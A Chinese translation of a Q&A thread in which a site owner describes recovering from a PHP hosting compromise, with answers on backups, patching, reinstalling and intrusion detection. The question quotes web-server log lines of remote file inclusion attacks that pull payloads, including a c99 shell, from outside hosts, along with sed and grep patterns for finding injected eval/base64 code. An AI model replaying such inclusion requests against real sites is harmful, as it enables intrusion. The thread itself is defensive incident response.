12

有时,我的共享托管环境会受到损害,因为我未能对已安装的应用程序组合进行修补。上周,这是因为安装了一个旧的且未使用的 PHP 应用程序,称为 Help Center Live。结果是服务器上的每个 PHP 文件(我有几个 Wordpress、Joomlas、SilverStripe 安装)都添加了代码,这些代码从其他站点中提取隐藏链接并将它们包含在我的页面中。在这种攻击之后,其他人报告说他们的网站被 Google 禁止了 - 幸运的是,我似乎很早就发现了它。我只是在从我的手机浏览到其中一个站点时才注意到它 - 该页面包含移动浏览器中包含的链接。

我在日志中发现了很多这样的攻击尝试:

62.149.18.193 - - [06/Feb/2009:14:52:45 +0000] "GET /support/module.php?module= HelpCenter//include/main.php?config [search_disp]=true&include_dir= http:// /www.portlandonnuri.com/2008_web//technote7/data/photo/id2.txt ??? HTTP/1.1" 200 26"-""libwww-perl/5.814"

我立即删除了这个应用程序,并编写了一个脚本,从每个源文件中删除了有问题的 PHP 代码。我还发现该脚本创建了 HTML 文件,其中包含要包含的其他受感染站点的链接。我也删除了它们。现在我担心攻击者可能留下了我错过的其他东西 - 一个 PHP 文件,可以让他永久访问。文件日期在攻击中都被修改了,我找不到在相关时间段内更改的任何其他文件。为了确保我的服务器上没有后门,我是否遗漏了一些明显的东西?

编辑:我还搜索包含攻击代码的文本文件,就像上面的日志文件片段中显示的那样。我没有找到。

另一个编辑:如果你碰巧看到这篇文章是因为你发现自己处于同样的情况,也许这会对你有所帮助。在操作它们之前,我用它来备份我的所有 PHP 源文件:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;

这是为了撤消攻击者所做的更改:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;

不是火箭科学,但对于像我这样的偶尔的 Linux/Unix 用户来说也不是微不足道的:-)。

另一个编辑:我无法审核服务器上的每一行代码,但我可以搜索可疑数据。我搜索了所有出现的“eval”和“base64”,但没有找到任何看起来不合法的东西。然后我为“.ru”运行了一个 grep(因为肇事者似乎来自那里),你瞧,发现了一个叫做 c99 shell 的东西,我很快就把它删除了。

最终编辑:我发现了 c99 shell 是如何上传的——通过 Coppermine 照片库中的一个洞。

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
    GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"

顺便说一句,IP 地址是 Godaddy 托管的 IP。

4

4 回答 4

19

1.) 保留您用于这些应用程序的文件的存储库(例如 SVN 或类似的)

2.) 尽可能及时更新每个应用程序的安全更新(大多数都有 RSS 提要)

3.) 定期备份你的数据库

如果/当 !@#$ 击中粉丝时,您可以重新开始使用数据库的新副本并从 SVN 重新部署代码。

于 2009-02-15T14:15:06.577 回答
4

组成系统后,您实际上只有两个选择:审核每个应用程序的每一行或重新安装所有内容。由于听起来这些都是开源或商业程序,因此您最好重新安装它们。确实没有更好的方法来确保您现在其中一个没有后门。

安全专家可能会建议您也完全重新安装操作系统,因为您无法确定某些代码没有滑入会影响操作系统的地方,但是如果您的权限设置正确,这可能是矫枉过正。

于 2009-02-15T14:25:42.200 回答
1

我们每天将完整的目录列表、所有驱动器和文件夹制作成一个文本文件。

它帮助我们发现了哪些文件在过去被篡改过。

对您现在所处的位置没有多大帮助,但将来可能会有所帮助。

(不会阻止事情伪造他们的大小/修改日期,但会帮助整理那些不麻烦的事情)

于 2009-02-15T15:33:20.743 回答
1

除了其他人所说的之外,您还可以安装一些入侵检测系统(例如PHPIDS,它是开源的)。

于 2011-12-16T23:04:32.917 回答